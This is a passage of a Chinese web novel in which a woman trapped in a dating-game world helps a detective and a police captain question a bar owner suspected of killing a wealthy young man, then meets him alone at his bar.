程述也有些不耐烦了:“是是是,他打了个电话把我吵醒,我大半夜从床上爬起来摸到酒吧后巷,正好看到他随地大小便,觉得这人道德败坏又没有公德心,就一棒槌把他敲死了,还把他的脸砸得稀巴烂。秦队,这个答案您还满意吗?”
秦聿风面无表情地看着他,下颌微微抽动,似乎是在用自己的道德素养强压住心头怒火。
眼看再不把事情说清楚,他俩又要吵起来了。祝好扶着额角叹了口气,起身走到秦聿风身旁,心虚地压低了声音:“……秦警官,其实吧,这件事我可以解释一下。”
……
听完了事情的来龙去脉,秦聿风皱着眉沉吟片刻,把目光转向正在被法医助理装进尸袋的尸体:“你是说,这个人昨晚想请你喝酒,但被你拒绝了。”
温珣纠正道:“秦队,这不叫请喝酒,这叫骚扰。”
秦聿风尴尬地轻咳一声:“抱歉,是我措辞不当。不过我还是没弄懂,这个陈少为什么会有老程的号码?”
祝好讪讪地解释:“他非要我留下联系方式才肯让我走,我就……”
说完不自觉往秦聿风身后躲了躲,觉得自己在程述的死亡凝视中一寸一寸矮了下去。
程述翻了个白眼:“算了,这回不跟你计较,下次再有这种事麻烦你留秦警官的号码吧,免得他天天都怀疑我杀了人。”
秦聿风好脾气地笑着捏了捏他的肩膀,又转向祝好:“下回你可以留我的号码,我不介意。对了,你刚刚说昨晚有人替你解围,那个人是谁?”
祝好指了指酒吧后门:“就是这家酒吧的老板,叫李砚川,陈少还打了他一拳。”
“他还手了吗?”
祝好摇头。
程述突然发问:“他被打的是哪儿?”
祝好回想片刻,抬起手在程述脸上比划了一下:“左脸。”
秦聿风脸上笑意消失,眼底闪过一丝谨慎的试探:“那你们之后去了哪儿?”
祝好指了指马路对面:“在对面便利店呆了一会儿,我帮他给伤口上了药,然后他就送我回家了。到家的时候……应该是凌晨一点半左右。老大,当时你不是还没睡吗?”
秦聿风跟程述对了个眼神,从他那儿得到了肯定答案后,才接着问:“你知道送你回家之后,那个叫李砚川的去了哪儿吗?”
祝好想了想,昨天是开业庆典,客人很多,李砚川送她回家的路上告诉她酒吧要营业到凌晨,估计他是回酒吧招待来宾去了。
程述意味不明地笑了笑:“看来我们得去找你的这位李老板聊聊。”
祝好愣住了,后知后觉地反应过来他们这是把李砚川当成嫌疑人了,连忙替他开脱:“不不不,不会是他做的,你们一定是误会了。”
“你怎么就那么肯定不是他?”程述抱着胳膊,眯眼看着被装进尸袋里的尸体:“从死者后脑的伤口上看明显是过度杀戮,而过度杀戮多半是因为个人恩怨。而且在他死亡后,凶手还往他左脸来了几下,这可是十分典型的复仇行为。”
祝好心里咯噔一下,一时竟无法反驳,同时也突然意识到一个问题:因为秦聿风和温珣职业的关系,她下意识觉得游戏里所有的可攻略对象都是好人,可万一不是呢?
第44章
李砚川家的住址是一个高档别墅区,离酒吧也就十多分钟的车程。
路上,坐在副驾驶的秦聿风接了个电话,祝好瞥见他转过头侧目看了她一眼,视线相撞的瞬间,又猝然收回目光,若无其事地压低声音应了几声“嗯”。
祝好知道这是警员在向他汇报对她昨晚行程的调查情况,毕竟陈少跟李砚川的争执是因她而起,秦聿风对她有所质疑也不奇怪。
她知道自己是清白的,不过……陈少的死,真的和李砚川有关吗?
她把头靠在车窗上,默默叹了口气,思绪乱成一团。直到听见秦聿风叫她的名字,才陡然抽回神思:“抱歉,我在想事情。”
秦聿风笑了笑表示无妨:“祝小姐,你跟那位李先生是怎么认识的?”
祝好调整了一下坐姿,把跟李砚川认识的过程跟他说了一遍,顿了顿,又说:“秦警官,我真的觉得他不像坏人。”
程述把着方向盘,从后视镜里看了她一眼,语气有些讥诮:“那你觉得许安宁和方诗言像坏人吗?”
祝好一愣,一时间无言以对。
他的话虽然带着嘲讽意味,但是不无道理,毕竟坏人从不会把自己的罪行写在脸上。
秦聿风看她表情不对劲,温声宽慰道:“祝小姐,我也不想怀疑你的朋友,所以我们才要调查清楚,还他清白,你说对吧?”
这话听着舒服多了,而且十分在理,只有查明真相,才能知道这个案子跟李砚川到底有没有关系。
别墅区安保措施森严,门口的保安拿着秦聿风的警官证仔仔细细对比了大半天才开门放行。
程述揿上车窗,不满地喃喃道:“有钱人屁
事真多。”
秦聿风嗤笑:“你这辆破车的价钱还买不起这儿半个卫生间,一看就不是业主,不查你查谁?”
祝好忍不住问:“这儿的房子很贵吗?”
“也不算贵吧,老程再抓那么三五百个小三,应该也能买得起。”
祝好掏出手机用计算器算了算,对着屏幕上那一长串0倒吸了一口凉气——拥有一家规模不小的酒吧,还能买得起这么贵的房子,李砚川真不愧是被系统誉为会爆金币的男人。
揿响门铃好一会儿,门上的对讲机里才传出李砚川略带疲倦的声线:“谁?”
秦聿风给往旁边站了些,给祝好腾出一个位置。祝好心领神会,清了清嗓,对着对讲机道:“李老板,是我,祝好。”
“祝小姐?”李砚川似乎还没有完全睡醒,声音听起来困顿又茫然,只是含糊地说了句稍等。
片刻后,门打开了。他探出半个脑袋:“祝小姐,你怎么会——”
顿了一下,他才发现祝好身后的程述和秦聿风,语气登时更疑惑了:“这两位是?”
“这是刑警队的队长秦聿风,这是程述,是我的——”祝好扭头看了下程述,不情不愿道:“老板。”
李砚川抬起耷拉着的眼皮,强打精神笑了一下,把门打开对他们招了招手:“福尔摩斯先生?久仰大名,先进来坐。”
程述茫然地看向祝好:“什么福尔摩斯?”
祝好耸了耸肩,没打算跟他多作解释。
别墅有两层,门前是一小片草坪,旁边是个车库,车库里停着一辆红色的跑车和一辆黑色的越野车。
李砚川带他们走进屋里,请他们在真皮沙发上坐下。趁他泡茶的当儿,祝好扫视了屋内一圈。
屋里的装修和家具跟Inkstone酒吧,都是一样以浅灰色为主,其中缀以一些亮色的装饰,不难看出每样东西都是经过屋主的精心搭配和挑选,处处透露着低调的奢华。
大理石桌上的白色陶瓷花瓶里插着几只盛放的向日葵,应该就是祝好昨晚送的那一束,连包装纸都被仔细叠好,整整齐齐地放在桌上。
李砚川端着几杯热茶从厨房里出来,他还穿着昨天的那条西裤,上半身松松垮垮地披了件黑色的真丝睡袍,腰间的腰带系得很随意,敞开的领口露出结实白皙的胸膛,半长的头发随意拢在耳后,左脸颧骨上的淤青和嘴角的伤痕还清晰可见,但丝毫没有对他的美貌产生任何影响,反而看着更让人怜惜了。
靠,一大早就能看到这样美好的画面,还真是——
还没等祝好想出合适的形容词,李砚川就注意到了她的目光,大方地回了一个微笑:“祝小姐,喝茶。”
她莫名有了一种偷窥被抓的心虚,脸颊发烫,耳尖蓦地红了,慌慌张张地收回目光,端起杯子猛喝了一口,又被滚烫的茶水烫得舌尖发麻,手忙脚乱地放下杯子用手在面前扇风。
坐在边上的程述无奈地瞥了她一眼,眼神里分明写着“丢人”二字。
好在李砚川似乎并没有在意她的这些小动作,在沙发上坐下后,他打开抽屉,从里面找出一个药瓶。
祝好关切地问道:“你身体不舒服吗?”
他晃了晃药瓶,抿唇淡淡一笑:“没事,昨晚喝了太多酒,胃不舒服。晚上还一直做噩梦,现在头也有些疼。”
就着茶水把药吃下去后,他突然意识到什么:“对了,你们有什么事吗?”
或许是顾及祝好的感受,秦聿风的语气很缓和:“是这样的,李先生,我们想跟你了解一些情况。”
李砚川不解地皱眉:“了解什么情况?”
秦聿风掏出手机,打开一张照片递到他眼前,问道:“这个人你认识吗?”
他拿起手机看了一眼,很快就认出了照片里的人:“这不是陈少吗?”
说完又转头看向祝好:“祝小姐应该也认识,昨晚在酒吧里他还骚扰你了,不是吗?”
祝好抿了抿嘴,没说话。
李砚川还想说些什么,就被秦聿风的问话打断了:“你跟这个陈少关系怎么样?算是熟人吗?”
他无奈地笑了笑:“如果经常到店里白吃白喝也算熟的话,那是挺熟的。”
程述突然问了一句:“他经常白吃白喝,你应该挺恨他的吧?”
“恨倒不至于,他吃吃喝喝那点钱也不多,不过他确实很招人厌。”李砚川苦笑:“我想应该没有人会喜欢一个仗着家里的关系嚣张跋扈、一言不合就要动手的官二代吧?”
程述漫不经心地晃着手里的杯子:“听说他还揍了你一拳,你就没有想过要报复?”
对话进行到这里,李砚川似乎才刚从困乏中清醒了一些,终于发现大清早警察登门拜访这件事的不合理之处:“等等,我有点懵,为什么你们会问我关于陈少的问题?发生什么了事吗?”
秦聿风也不跟他绕圈子了,把手机上的照片划拉到下一张,屏幕上顿时出现了陈少那张血肉模糊的脸。
“今天早上有人在你们酒吧的后巷发现了陈志恒——也就是陈少的尸体。”
李砚川的视线落在屏幕上,眼底闪过一抹讶色,说话都有些磕磕巴巴的:“你们没搞错吧?这真的是陈少?他、他怎么死的?”
和往常一样,祝好没有参与他们的谈话,但她的眼神一刻也没离开李砚川的脸庞——倒不是因为他好看得让人挪不开眼,而是她不想错过他的任何一个表情。
李砚川表现出来的惊异不像是装的,惊异之中甚至还带了些恐惧,这是普通人第一次看到不打码的尸体照片时的正常反应。
祝好觉得,他似乎真的对陈少的死一无所知。
秦聿风接着问:“李先生,今天凌晨两点到四点这段时间你在哪儿?”
“两点到四点?”李砚川喝了口茶,定了定神,垂眼仔细回想了一会儿:“昨晚我送祝小姐回家,再回到酒吧时应该是两点左右,当时酒吧里还有很多客人,我陪他们喝了不少酒,觉得晕乎乎的,等我醒来时就已经在家里了。”
程述眯起眼:“谁送你回来的?”
“可能是酒吧里的员工吧。”他停顿了很久,似乎是在努力回忆着什么,但最后还是揉着太阳穴叹息道:“抱歉啊,我昨晚真的喝太多,有些断片儿了。”
秦聿风和程述交换了一下眼神,都在对方眼里看到了一丝明显的猜疑。
程述冷不丁换了个话题:“你这别墅挺大啊,一个人住?”
李砚川嗯了一声:“对,一个人。”
“介意我参观一下吗?”
“当然可以。”
得到应允后,程述对着祝好勾了勾手,示意她跟自己一起。
漫不经心地在一楼转悠了一圈,他问:“李先生,我可以去你房间看看吗?”
李砚川坐直身子,似乎有些谨慎:“侦探先生想要看什么呢?”
程述笑着答了一句“随便转转”。
李砚川犹豫了一下,点头道:“可以的,不过我最近忙着酒吧开业的事,也没请阿姨打扫,房间可能有些乱。”
说完欠身想从沙发上起来带路,却被秦聿风按住肩膀温和地笑了笑:“李先生,别着急,昨天晚上还能记得住什么,你再好好回忆一下。”
李砚川依言只好坐回沙发里,抬手指了指二楼:“楼上右手边第二间就是我的房间。”
祝好看到程述对她使了个眼神,便跟他一起沿着扶梯上了二楼,径直推开了李砚川房间的门。
房间里窗帘没拉开,一片昏暗。摁开灯,屋里才亮堂起来。
正如他所说,房间有些凌乱,床上的被子掀开一半,看起来他确实是急急忙忙起身开的门。另外床头放着半杯没喝完的水,床边的椅子上则堆着几件衣服。
程述在房间里转了一下,推开浴室的门走了进去,片刻后,里面传出他的声音:“小助手,还记得你那位朋友昨天穿的是什么衣服吗?”
祝好想了想:“好像是一件白色的衬衫。”
“进来看看。”
她往前两步站在
浴室门口,看到程述戴上手套,把手伸进装满水的洗手池里一捞,提起一件淌水的白色衣服。
他抖开衣服问:“是这件吗?”
祝好对他的举动有些疑惑,但还是凑过去仔细看了看,确认了就是昨天见到李砚川时他身上穿的衬衫。
她一句“怎么了”还没问出口,程述一只手指勾着衣领就往楼下走去,闲散地倚靠在扶梯栏杆上,向着沙发上的李砚川扬了扬那件还在滴水的衬衫,笑里带着几分狡黠:“看来李先生挺爱干净啊,喝了那么多酒还不忘记先把衣服洗了。”
祝好听出他话里有话,心底咯噔一下,转头看向李砚川。
第45章
看着程述手里那件衬衫,李砚川神色茫然:“这是我昨天穿的衣服没错,可是我不记得自己洗了衣服啊。”
程述把衬衫举到面前嗅了一下:“如果我嗅觉没问题的话,这件衣服上有一股淡淡的醋味。”
李砚川一时反应不及,双眉紧蹙:“什么意思?”
程述笑得意味深长:“你是不是也不知道醋加上牙膏或者小苏打,可以用来清理衣物上的血渍?”
李砚川愣了一下,呆呆地看着程述好一会儿,似乎是把这句话放在脑子里来来回回咂摸了好几遍,才隐约明白了他的意思。
他试探性地问:“你们不会怀疑是我杀了陈少吧?”
祝好脑袋上冒出三条黑线:他们在他家里坐了快一个小时,他不会才刚刚反应过来吧?
如果不是装的,那他就是个笨蛋美人。
见他们沉默不语,李砚川唰一下站起来,急得眼眶都泛红了:“我、我没有杀人啊,祝小姐,你要相信我,我昨晚真的喝多了,什么也记不清了,不信你们可以去问问我酒吧的员工,或者去查查小区的监控!”
“说到监控,”秦聿风抬起头,眼神在屋里一扫:“李先生一个人住那么大的别墅,应该也装了监控吧?”
李砚川一拍脑门,忙不迭点头:“我差点忘了,你们稍等。”
说完急匆匆起身上楼,从书房里抱了台笔记本电脑下来。
然而当他打开电脑,点开监控摄像头的文件夹时,却发现里面所有记录都消失了,连回收站也空空如也。
他抓了抓头发,有些懊恼:“奇怪,怎么记录都没有了,连摄像头都被关掉了,昨晚到底发生了什么?”
程述呵呵冷笑一声:“你这么做是不是有些欲盖弥彰了?”
李砚川还想说些什么,但程述没给他机会,把那件衣服装进一个大的物证袋后,他给秦聿风递了个眼神。
秦聿风心领神会,起身拍了拍李砚川的肩膀:“李先生,你放心,我们会调查清楚的。等会儿我的同事会来你家采集一些物证,希望你能配合。近期如果有什么出行计划恐怕得取消了,在案子结束之前,我们需要随时找你问话。”
李砚川咬着嘴唇看向祝好,似乎有什么话想说,犹豫再三却还是咽了回去,只是垂着眼帘点了点头。
*
回警局的路上,祝好思绪翻涌,一直在想着李砚川的事。
按照程述和秦聿风和推测,陈少的死很可能是因为个人恩怨。而最近跟他有过争执的,除了自己,就只有李砚川了。
他打了李砚川的左脸一拳,而李砚川也把他的左脸砸得稀巴烂——这个报仇的理由虽然听着很合理,可真的有人会因为被揍了一拳就要杀人吗?
可是李砚川身上又存在着诸多无法解释的疑点,比如那件特地清洗过的衣服,插在花瓶里的向日葵,以及折叠整齐的包装纸——如果他真的喝得不省人事,甚至不记得自己是怎么回到家里的,又怎么会有余力去做这些?
难道说所谓“醉酒”,就像她一开始进入游戏时的“失忆”一样,只是一个用来掩盖某种真相的借口?
祝好心里那杆秤不停摇摆,她不想相信李砚川是凶手,却始终找不到一个合理的解释来说服自己。
这游戏不会真的那么丧心病狂,给她安排了一个表面斯斯文文,背地里杀人如麻的可攻略对象吧?
难道这次剧情的结局,是要她亲手把李砚川送进监狱?
要不唤出系统问一下吧——
这个念头只在祝好脑子里闪过一秒钟,就立刻被她否决了。
想都不用想,以那个破系统的尿性,一定会以一句“不能剧透”来搪塞过去。
大概是看她坐立不安,秦聿风出言安慰:“祝小姐,你别着急,堪察组已经在李砚川家取证了,如果这个案子跟他无关,我们一定不会冤枉他。”
祝好满腹思绪有些压不住,小心翼翼地问道:“那你觉得人是他杀的吗?”
秦聿风沉吟片刻,答得模棱两可:“现在还没有直接的证据能够证明他与这件事有关。”
言下之意,就是李砚川已经有了作案动机,现在就差找到相关证据了。
看她一副失魂落魄的模样,程述冷不丁嗤笑一声:“小助手,你是不是被美色迷得晕头转向了?”
祝好一愣,脱口而出:“我不是我没有!”
“没有吗?你就差把眼睛贴在人家脸上了。”
祝好扬着下颌,理不直气也壮:“我、我那是在观察他的表情!”
程述从后视镜里瞥了她一眼,有些好笑:“那你说说看,都观察到什么了?”
为了表明自己并非好色之徒,祝好清了清嗓,刻意把自己的声线拿捏得平静又专业:“他在回答问题的时候,虽然语焉不详,可是并没有一些例如摸鼻子、摸后颈,或者跷二郎腿之类用来掩饰紧张的动作,而且他回忆时眼睛看向斜下方,说明他不是在编造谎言。”
程述收起嬉皮笑脸,手指有规律地敲击着方向盘:“你知道吗,如果一个人习惯在了生活中撒谎,就算是微表情也看不出端倪。你跟你这位漂亮的朋友认识多久了,就那么笃定他不是在骗你?”
祝好一下子噎住了,又想不到反驳的理由,颓然往后座一靠,瘪着嘴不再搭理他。
回到警局,程述先去停车,祝好跟在秦聿风身后走进办公大楼里。
待客室好像很热闹,隐约传出一阵喧哗。
祝好的八卦之心熊熊燃烧起来,刚循声望去,就听到门“砰”一声被打开,一个西装革履、脸色铁青的中年男人扶着一个边哭边骂的女人从里面走出来,身旁还跟着一个穿着时尚的男青年。
女人哭得一把鼻涕一把眼泪,脸上的妆都花了大半,骂起人来还是中气十足:“到底谁是这个案子的负责人,不把杀害我儿子的凶手找出来,我跟你们没完!”
听到这些话,祝好很快反应过来,他们多半是陈少的家人,正为了他的死在闹事呢。
这样的场面秦聿风估计见得不少,他本想绕着走,却被几个负责接待的小警员用求助的眼神拦住了,只好停下脚步,象征性地扶起地上的女人:“女士,你冷静一点,我们已经在调查了,相信很快就能找到杀害令郎的凶手——”
他话还没说完,就被女人一声怒喝给打断了:“我儿子被人杀死了,你们不赶紧去抓人,还在这里干什么呢?”
祝好不想沾上一点儿麻烦,往后退了两步刚要离开,却不经意与那个男青年对视了一眼,很快认出他昨天
晚上也在酒吧里出现过,看样子应该是陈少的跟班。
男青年也认出了她,弯下腰在女人耳边低语了几句,女人顿时止住了哭声,双眼一瞪,从地上一跃而起,踩着高跟鞋噔噔噔就往祝好的方向冲过来。
祝好感觉不妙,还没来得及反应,头皮就传来一阵剧烈的刺痛,女人竟然伸手拽住了她的头发,另一只手抡起手中的名牌包劈头盖脸砸向她。她下意识伸手一挡,但手臂还是被结结实实砸了好几下。
靠,她这是拿了什么怨种炮灰剧本吗?一天天的不是被人拿刀追杀,就是莫名其妙挨揍。
场面一时间乱作一团,众人七手八脚费了好大劲儿才把女人扯开,她全然没有了刚才那副悲戚的模样,伸直手臂指着祝好的鼻子怒骂:“你!就是你!你这个不要脸的女人!”
祝好的手臂火辣辣的疼,一句友好的问候还卡在喉咙里,听到她这番没头没脑的污蔑,熊熊怒火更是猛地蹿上心头,抡圆巴掌正要扇回去,却被一股力量钳住了。
她回过头,看到程述站在她身后,一只手轻松攥住了她的手腕,同时凌厉的眼神凝成一把利刺,泛着冷光从女人身上扫过。
他平日里看着就是一副不好惹的臭脸,女人被他这么一瞅,嚣张的气焰登时矮了几分,但嘴上还是嚷嚷:“这个女的很可疑,一定是她勾引我儿子不成,恼羞成怒把他杀了,你们这群警察到底干什么吃的,赶紧把她抓起来!”
程述面无表情地看着她撒泼,语气平静:“秦队,在警局闹事,算是寻衅滋事了吧?要不要把这位女士带去隔离室冷静一下?”
女人一愣,一屁股坐在地上捶胸顿足号啕大哭:“我的乖儿子啊,你那么孝顺,那么懂事,到底是哪个天杀的要这样对你啊!连具完整的身体都没有留给你!我诅咒他天打雷劈,断子绝孙!我只是想替你讨一个说法,我有错吗?!”
饶是秦聿风脾气再好,也被她这番无理取闹的举动气得冒火,冷着脸厉喝道:“女士,这里是警局,我理解你失去亲人的悲痛,但是你再阻碍我们的工作,我就没办法跟你客气了。”
女人的哭喊声戛然而止,身旁那个西装革履的男人也终于忍无可忍,一把扯住她:“行了,先回去,别在这儿丢人现眼了!”
又转头对秦聿风颔首道:“警察同志,辛苦你们了,一定要尽快抓到杀害志恒的凶手,还我们一个公道。”
这话听着客套,但祝好还是从他的语气里听出一丝隐藏极深的压迫感。
秦聿风没说话,潦草地点了点头,向着门口的方向挥了挥手,示意小警员先把人送走。
闹剧终于落下帷幕,警员们各自散开,重新投入到忙碌的工作中。
*
程述倚在秦聿风办公室里的沙发上,把一张打印纸折成飞机,眯着眼在面前比划。
看祝好忿忿不平地理着被抓得乱糟糟的头发,他突然轻笑一声:“想不到你还会还手呢。”
想到那个来不及扇回去的巴掌,祝好气不打一出来:“她能打我,我怎么就不能打回去?亏我还叫你一声老大,你怎么胳膊肘往外拐啊,光拦我不拦她。”
程述撇了撇嘴,把纸飞机往前一投,飞机在半空中划出一道弧度,稳准地落进垃圾桶里。
“把巴掌还回去是最基本的礼仪,但是下次动手记得避开监控,免得被留下把柄。”
说话间,秦聿风抓着一打文件匆匆推开门,身上仿佛裹着一团浓重的怨气。他走到饮水机旁打了杯水一饮而尽,长呼一口气,才堪堪把脸上的烦躁和郁闷压下去。
没等祝好提问,他就先开口解释:“刚才那个看热闹不嫌事大的男青年是陈志恒的跟班,昨晚他也在酒吧里,只是有事提前离开了,我们也确认了他的不在场证明。他倒是提供了一份可能与陈志恒有过恩怨的人员名单,只不过——”
他扬了扬手上的纸,叹了口气:“我粗略数了下,大概有一百多号人,这还只是他目前能记起来的,这个陈少还真不是什么好东西。”
说完又打了杯水猛灌几口,低声骂了一句:“上头那帮坐办公室吹空调的真特么站着不嫌腰疼,七十二小时内抓到人,说得倒是轻松。”
陈少身份特殊,他爸妈来警局这么一闹,警局的领导自然就把压力给到了身为队长的秦聿风身上,难怪他脸色那么难看。
祝好小心翼翼地开口:“那李砚川——”
秦聿风耐着性子回答:“我们从他家采集了一些生物样本,包括指纹、毛发,以及一些可疑的痕迹,温主任已经在加班做检验了,小区里的监控和证人口供也在同步调查,应该很快就会有结果,你放心。”
程述双手交叉着搭在后脑勺上,像领导听汇报似的听完了秦聿风的话,悠哉悠哉地点了点头:“辛苦你了,老秦。你看这儿也没我什么事儿了,那我们明天见吧。”
秦聿风把纸杯揉成一团砸到他怀里,大手一挥:“要滚赶紧滚,看见你就烦。”
程述不要脸地嘿嘿一笑,把纸杯扔进垃圾桶里,起身伸了个懒腰:“小助手,我们滚了。”
祝好刚“嗯”了一声,兜里的手机突然震了一下。掏出手机,屏幕上弹出了一条信息,发件人正是李砚川。
她莫名有些心虚,不着痕迹地抬眼看了看秦聿风和程述,确认他们都没有注意到自己后,才悄悄点开信息。
信息的内容是:“祝小姐,我突然想到一件事,可能跟陈少的死有关。”
祝好心底一跳,正犹豫要不要告诉秦聿风,手机又震了起来,是李砚川发来的第二条信息——
“我可以单独跟你聊聊吗?”
第46章
祝好没有回复,不动声色地把手机揣回兜里,跟在程述身后出了警局,心里却直犯嘀咕,不停琢磨着李砚川这两条信息的意思。
单独跟她聊聊,能聊什么?既然是跟陈少的死有关的事,为什么不直接告诉警察呢?
难道他让自己去找他,是有别的目的?
不行,不安全,小命要紧,凡事都要三思而后行,要不还是当做没看到吧。
程述启动了车子,看她还在外面磨磨蹭蹭,揿下车窗探出头不耐烦地问:“干什么呢,赶紧上车。”
祝好哦了一声,拉开门把手的瞬间,白天在李砚川家时他那副欲言又止的神情突然闯进脑海里。
当时他应该就有什么话想要对她说,但碍于秦聿风和程述在场,最后还是把话咽了回去。
难道他真的有很重要的事想告诉自己?
她忽地改变了主意:“老大,你先回去,我有事要出去一趟,一会儿我自己回去就行。”
程述斜眼看她:“你要去干什么?”
“你不是对别人的事不感兴趣么?”
他没想到会被祝好呛这一下,眼角一抽,点头道:“行,那你可别随便把我号码留给别人。”
为了表现出自己的“不感兴趣”,他毫不留情地关上车窗,一脚油门把车开出警局,驶入了车流中。
祝好松了口气,掏出手机回复了李砚川的信息:“在你的酒吧里见面,我现在过去。”
李砚川很快回复:“好,我已经在了。”
祝好回了个“就到”,伸手在路边拦了辆出租车,报上了Inkstone酒吧的地址。
发生命案的地方是后巷,所以酒吧还是能正常营业,但多少还是受到了影响。与昨夜的灯红酒绿纸醉金迷相比,今晚的Inkstone门可罗雀,显得格外冷清。
酒吧里放着的蓝调音乐让气氛略显沉郁,只有吧台前面的高脚椅上零零散散坐了几个客人,连调酒师都在无所事事地刷手机打发时间。
祝好特地把见面的地点选在这里,也是看好这一点——有人在,但人不多。
有人在,那她就是安全的,就算李砚川不是好人,也不至于在别人面前动手;人不多,就能保证谈话的私密性,毕竟他们要聊的可不是“今天天气如何”“晚饭吃了什么”这种日常话题。
她粗略扫了一眼为数不多的几位客人,注意到其中有两个打扮得很时髦的女孩子正凑在一起窃窃私语,眼神不时往角落里瞟。
顺着她们的视线望去,就看到李砚川坐在卡座里发呆,他面前放了一杯喝到一半的酒,金黄色的液体在昏暗的灯下泛着光。
祝好走过去在他对面坐下,正好对上那双带着些许醉意的眸子。
李砚川对她笑了一下,随手拿起桌上的酒水单递给她:“你来了,要喝点什么吗?我让调酒师做。”
想到自己对面坐的人还没有摆脱杀人的嫌疑,祝好多了几份谨慎,摇摇头说不用,然后不着痕迹地岔开了话题:“李老板,你脸上的伤好些了吗?”
李砚川答非所问:“可以不要叫我李老板吗?听着好生疏,你叫我名字就好。”
祝好也不扭捏:“行,那你也别叫我祝小姐了,叫我——”
他认真地看着她:“我可以叫你好好吗?”
好好?
祝好耳廓发烫,虽然他是可攻略对象,但才见过几面就这么叫,是不是有点……太亲密了?
见她没搭茬,李砚川眼睛一垂:“不行吗?”
语气里还带了些委屈。
美色攻击简直太犯规了!
她双手遮在眼前,胡乱地点了点头:“别用这种眼神看我,你想怎么叫就怎么叫吧。”
“那以后我就叫你好好了。”得到应允的李砚川抬起杯子喝了一口酒,眯眼对她笑:“好好,我犹豫了好久才给你发了信息,还以为你不会来呢。”
祝好从美色中抽回神思,突然想起自己来的目的,连忙把险些被带偏的话题扯了回来:“你刚才说你想到了陈少有关的事情?”
“其实也不能说是想到吧。”李砚川脸上的笑意蓦然消失,变得严肃起来:“今天我不是说过我做了一整晚的噩梦么?我觉得……我好像在梦里见过那个场景。”
祝好“咕咚”咽了口唾沫,问:“什么场景?”
他扶着额角,似乎是在努力搜索脑子里的记忆:“阴暗的巷子,倒在地上的人,还有好多血……但是一切都很模糊,就像是很多很多碎片拼凑在一起,让人分不清真假虚实。”
祝好心一惊,这不就是陈少遇害时的场景吗?
她蹙眉问道:“你今天怎么不跟秦警官说呢?”
“因为我不确定究竟是做梦,还是真的看到了什么。而且说实话,我有点儿害怕。”顿了顿,他问道:“好好,你能不能帮帮我?”
祝好一愣:帮什么?怎么帮?
目前得到的线索实在太少了,只凭他一面之词,她一时也不知道从哪里下手,只好宽慰道:“警方已经在调查了,应该很快就会有结果的。”
李砚川低头看着手里的杯子,祝好顺着他的目光看去,发现杯中的酒正随着他颤抖的手微微晃动。
他深吸一口气,把声音压得很低:“好好,你说,我会不会真的杀了人?”
祝好心跳莫名加速,喉头发干,条件反射般看了一眼周围。
吧台前面客人都在喝酒闲聊,只有那两个坐在一起的女孩儿眼神频频往他们这边看。
祝好知道她们当然不是在看自己,十有八九是被李砚川那张好看得人神共愤的脸吸引住了,但是这个卡座离吧台有一定距离,他们的谈话应该不会轻易被听到。
她收回思绪,转向李砚川:“你为什么会这么觉得?”
“因为那个场景太真实了,真实得不像是一个梦,更像是我亲身经历的事情。可如果我真的看到了那样的场景,不就说明是我杀了陈少吗?”
他讷讷地低头看着自己的双手,仿佛上面站满了鲜血。
祝好头皮一麻,脑子里闪过一帧帧电影片段,什么《致命ID》、《惊魂记》、《秘窗》……
难道这就是传说中的人格分裂?
她想了想,小心翼翼地试探:“李砚川,你有没有出现过突然失忆的情况?就是莫名其妙丢失了某一段记忆,怎么也想不起来。”
李砚川认真地回想片刻,摇了摇头:“没有,只有昨晚。不过昨晚我真的是喝太多断片儿了,平时不会这样的。”
也是,虽然只与他接触了几次,但他一贯表现出来的谦卑、和善以及些许清澈的愚蠢倒是一直没有变过,怎么看都不像是人格分裂。
祝好撇了撇嘴,剧情走向果然不会那么容易让她猜到。
李砚川抿了一口酒,苦笑道:“不怕你笑话,我是真的觉得心里很不踏实,昨晚的事情我想了很久,但是一点儿也想不起来了。我很害怕自己真的杀了人,更害怕自己没杀人却莫名背负罪名。我不敢告诉警察,因为我觉得他们不会相信我说的话,多半会以为我是疯了。”
“也许是出于直觉吧,我总觉得你是唯一会相信我、也是唯一能帮我的人。我想请你帮我找出真相,好吗?”
祝好心里明白,这并不是什么“直觉”,而是作为可攻略对象之一,他还保留了一些最初始的设定,所以他对她的信任可以说是出于本能。
“李砚川,你看着我。”她双手搭在桌上,欠身向前,注视着他的眼睛:“你能跟我保证,你真的对陈少的死一无所知吗?”
李砚川也回望着她,一字一顿地回答:“我能保证。”
“也没有买通或者指使任何人杀他?”
他答得果决:“没有。”
酒吧昏暗的灯光下,他琥珀色的眸子炯炯发亮,像一汪清澈透明的泉眼,没有掺杂一丝谎言的味道。
几乎就在那么一瞬间,祝好决定将所有的疑虑抛之脑后:去他X的三思而后行,既然他选择相信自己,那她也选择相信他、同时相信自己的直觉一次。
她重重点头:“好,我帮你。”
李砚川仿佛抓住救命稻草,如释重负地长舒一口气,艰难地笑了一下:“谢谢你,好好。”
系统响起提示音:“与李砚川的好感度加5,获得50积分。”
换做平时,获得积分能让祝好开心很久,然而这时她心事重重,有些高兴不起来,而且眼下还有重要的事情要办。
虽然答应了要帮李砚川,但至于怎么帮,她没有任何头绪。
她在脑海里搜索着之前看过的电影、电视剧,每当主角希望证人能回忆起与案件有关的细节时,首先会做的就是引导他们重新回到案发前的时间线。
认真思忖片刻后,她学着电视剧里的样子,压低了声音:“我想让你回想一下昨天晚上你能记起来的事情,你可以闭上眼睛吗?”
李砚川点点头,郑重其事地把眼睛闭上,交握的双手搭在桌沿,仿佛一个虔诚的信徒。
“想象一下,这时候你送完我回家,停好车后,刚回到酒吧门口。你推开门,酒吧里是不是还有很多客人?”
他浓密的睫毛微微颤抖:“对,当时大部分宾客都没有离开,他们看到我走进酒吧,纷纷端着酒杯过来向我道贺。”
“陈少也在其中吗?”
他神情专注,看起来很努力地回忆着,片刻后才回答:“我不记得有看过他的身影,还以为他早就离开了。像他那样每天花天酒地的人,经常一天晚上辗转好几个场子,所以我也没有多想。”
祝好突然觉得自己好像还挺有成为心理医生的潜质,她换了个姿势,手支着下巴,继续引导他:“然后呢?”
“然后……敬酒的人纷纷散去,我因为喝了太多酒后劲上来了,觉得有点头晕,就借故离开人群,想到员工休息室里躺一下。”
“当时休息室里有其他人吗?”
李砚川摇头:“没有,当时员工都忙着招待客人,休息室里只有我一个人。”
“那你在休息室里还看到了什么特别的吗?”
“我……”李砚川的表情舒展了一些:“我看到了员工把你送我的向日葵摆在桌上,就想着要先把它放到车里,这样回家的时候就不会忘记带上它了。”
祝好心头一暖,忍不住抿嘴笑了一下,幸亏李砚川闭着眼睛才没有发觉。
她清了清嗓,继续问:“那你为什么要走后门呢?”
李砚川微微蹙眉:“因为走正门会不可避免会
